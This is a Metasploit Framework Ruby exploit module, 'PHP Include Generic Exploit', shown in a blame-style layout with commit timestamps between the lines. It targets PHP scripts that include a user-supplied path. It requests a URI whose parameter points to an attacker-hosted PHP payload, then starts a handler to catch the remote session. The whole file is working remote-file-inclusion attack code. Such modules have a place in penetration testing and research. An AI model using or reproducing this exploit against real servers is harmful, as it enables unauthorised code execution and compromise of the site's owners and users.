2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-03-04 07:34:26 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-12-17 07:57:51 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2006-12-17 07:57:51 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::HttpServer::PHPInclude
|
2006-12-17 07:57:51 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP Include Generic Exploit',
|
|
|
|
'Description' => %q{
|
2008-03-04 07:34:26 +00:00
|
|
|
Exploits things like <?php include($_GET['path']); ?>
|
2006-12-17 07:57:51 +00:00
|
|
|
},
|
2008-09-24 04:41:51 +00:00
|
|
|
'Author' => [ 'hdm' , 'egypt' ],
|
2006-12-17 07:57:51 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-12-17 07:57:51 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
2008-09-24 04:41:51 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
2006-12-17 07:57:51 +00:00
|
|
|
'Space' => 32768,
|
|
|
|
},
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DefaultTarget' => 0))
|
2006-12-17 08:02:35 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/test.php?path=!URL!"]),
|
|
|
|
], self.class)
|
2006-12-17 07:57:51 +00:00
|
|
|
end
|
|
|
|
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2006-12-17 07:57:51 +00:00
|
|
|
def php_exploit
|
2008-03-04 07:34:26 +00:00
|
|
|
# very short timeout because the request may never return if we're
|
|
|
|
# sending a socket payload
|
|
|
|
timeout = 0.01
|
|
|
|
uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.uri_encode(php_include_url))
|
|
|
|
print_status("Trying uri #{uri}")
|
2008-09-30 19:56:16 +00:00
|
|
|
response = send_request_raw({ 'uri' => uri },timeout)
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2008-09-24 04:41:51 +00:00
|
|
|
handler
|
2006-12-17 07:57:51 +00:00
|
|
|
end
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|